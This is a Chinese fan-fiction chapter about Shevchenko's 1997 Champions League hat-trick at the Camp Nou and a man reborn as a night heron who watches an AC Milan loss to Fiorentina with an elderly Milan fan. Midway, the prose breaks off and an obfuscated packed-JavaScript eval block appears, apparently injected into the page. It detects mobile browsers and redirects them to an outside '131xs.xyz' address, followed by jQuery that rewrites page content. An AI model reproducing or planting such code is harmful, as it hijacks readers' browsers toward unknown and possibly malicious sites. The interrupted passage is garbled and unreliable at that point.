人生就像一座船。
船长舍甫琴科掌握船舵 、迎着风暴穿越通往新海域的大门，但整个旅途并非一帆风顺。
第一次错误，第一次被他亲自记载的错误，是97—98赛季的欧冠小组赛，VS纽卡斯尔联。
足球是团队的游戏。基辅迪纳摩前一年被禁了欧战，本赛季的雷布罗夫和舍甫琴科，在复仇之火刚刚涌起的时刻，因首场战胜PSV而产生的骄矜，就被浇灭。
从两球领先，到被追平，落差感、愧疚感促使这两个年龄相近的小伙子把彼此联系到更深的层次。
他们发誓不会再这样，让十万支持者沮丧。
球迷们本该感到快乐。
＊
“是的，就是那样，我的球队击败了巴塞罗那，在我们的主场。”
“舍甫琴科，这场比赛你没有收获一个进球，你会不会失望？”
“球队是由几十块碎片组合的拼图，我的三个队友进了三个球，那远比一个人的英雄主义要高尚。”
“你会期待下一场比赛中进球吗？在诺坎普。”记者把话筒怼到舍甫琴科面前。
皮衣青年轻松地回答：“我有种预感，我会进球的。”
命运的齿轮转动了。
1997.11.5
站在诺坎普，冲天的声音并未影响到远道而来的基辅迪纳摩队。
舍甫琴科甚至感到心灵的宁静。
他笑着和队友说：“我会击中它三次。”
队友顺着他的手指看到了裁判手中的足球，惊叹：“那你可要非常忙碌了。”
“为什么不呢？”
整场比赛如他预想的那样。
第十分钟，舍甫琴科与队友们完成了对第一个球的庆祝。
第二和第三个球在上半场结束前悉数到齐。
属于舍甫琴科的帽子戏法，将这个东欧来的球员，介绍往全世界。
他那么漂亮、活泼、年轻，在比赛结束后，手机里充满了来自无数方向的引诱。
德国（慕尼黑）、意大利（都灵）、西班牙（马德里）……
21岁的舍甫琴科拒绝了。他仿佛知道自己有个使命，又或者是在罗马掷出的硬币在脑中回响，更重要的是他自命不凡，在老师洛巴诺夫斯基的看管下，他像老道的猎人一样，蛰伏着、期盼着。
Max静静观望着这一切。这几乎是一个循环，他的朋友——机械鸟观测他，他又盯着舍甫琴科，一只鸟到另一只鸟，谁能最终高飞？
他喜欢安德烈及其家人，但是机械鸟才是他真正的的朋友，他不知道为什么，但是球星、名人，都太遥远了，让他胆怯。
另一个更深层次的原因，在Max某天午觉睡醒后，被领悟到了。
“今天真坏。”
“怎么了？”机械鸟不明白为什么仅仅隔了一个中午，同伴就忽然苦大仇深起来。
“我刚刚想明白了一件事。”
Max飞在空中，这天不是比赛日，基辅的街道没那么拥挤。
“明白了飞行的小技巧？”
“不～我在想，为什么我的爱，对球员们，那么短暂，那么冷酷。”
“你在想谁？那个乌克兰人？”
Max又飞了一个街区，才说：“每个赛季，我会记住每个一线队球员，以及有天赋的青训。但是即使是那些我曾经为之摇旗呐喊的‘真爱’，当他们离开米兰奔赴钞票、理想、更好的阳光，瞬间就结束了。”
“即使是舍甫琴科？”
“别单独说他。但，是的，如果他像巴斯滕一样……”Max强行扭回话题，“也许他会得到更多爱。”
‘像巴斯滕一样，被彻底打上米兰的印记就好了。’他阴暗地想。
“没有两个一模一样的树叶。同一个人不能两次跨进同一条河流。”机械鸟用哲学回应。
Max心头一震，辩解：“但是当我们谈起托蒂，总是离不开内斯塔，谈起巴蒂就不免想起鲁伊。内核总是相似，忠诚者值得更好的结果。我只是遗憾，米兰供养不出第二个乌德勒支天鹅。”
机械鸟：“乌德勒支的天鹅？是当地专养的特产吗？”
Max翅膀都忘了扇，险些从天上摔下去。
“我在说一个人。”
“你今天要去牧师的家里？”
“是的，我废了好大劲才找到一位罗森内里。”
就在舍甫琴科辛勤训练、外出比赛的日子里，Max给自己找了第二个饲养员。
那是个独居的、家里非人活物只剩下蜘蛛的老头。他曾经是牧师，现在住在居民楼里，每天与电视机为伍。
而Max能识别他，完全是因为只有这个男人在十一月的基辅还穿着短袖球衣。
红黑色是掩藏不住的。
Max用了两个多月时间和老头“培养感情”——指隔一天来一趟，每次停留两、三个小时。
起初，老头不以为意，半个月后，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598456|171949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老头开始研究鸟能吃什么，两个月后，他就允许夜鹭停在自己肩膀上了。
今天是意甲第17轮，米兰vs佛罗伦萨，是Max当鸟以来第一次完整地看一场米兰的比赛。不枉他飞了几公里才落地。
开赛前，老头在胸前画了十字，表情并不轻松。
一无所知的夜鹭瘫在老头给它折的纸盒子里，红眼睛炯炯有神。
好，队长挑边了。
咦，好年轻的保罗，他是在这年接任队长的吗？
卡佩罗是真的像《飞屋环游记》的主角哎。
再看紫百合那边，鲁伊穿紫色也挺好看的，巴蒂要是属于米兰就好了。
门将有些眼熟，但是一时认不出来。
Max内心里把球员们评判了一圈，不知不觉，主裁判就吹响了哨声。
被夜鹭脑容量拖累了智商的Max随着场边镜头扫过替补席和观众席，没发现什么不对，刚刚沉下心准备认真看球，就开始提心吊胆。
不，这对吗？
罗森内里齐齐抱头，夜鹭不甘落后，在对手进球的一瞬间叫出了声。
这才第3分钟！米兰一球落后。
熟悉的心梗感觉怎么又回来了？
中场休息时，夜鹭去楼下解决了下卫生问题，然后又回到座位上。
老头比较坚强，只是神情凝重，没有崩溃到发笑——Max悄悄观察一番，给老罗森内里点了个赞。
下半场刚开始，米兰先行换人，多纳多尼接替克鲁伊维特，Max还诧异这次换得还挺早。
毕竟在Max最近几年的记忆里，皮老师换人通常是掐着表换人（不功不过／将功补过），丰师傅临场反应快但还是太年轻，孔师傅阵型多变如同在玩电子游戏。
——这还是在5换之后。
在只有三次换人机会的时期，这么果决的卡佩罗，会得到他想要的吗？
答案是没有。
第52分钟，佛罗伦萨再下一城。
Max已经累了。牢，都牢点好啊。
卡佩罗当然也慌，59分钟再次换人。
但这点挣扎于赛果毫无影响。
夜鹭连赛后采访都不看了，失魂落魄地回去舍甫琴科家。
没有打扰任何人，Max轻轻地钻进属于自己的小木屋里，默默地悲伤。
这就是米兰吗？
‘神啊，假如你真的存在，我愿意从此奉上忠诚，请不要再给予我这般折磨。’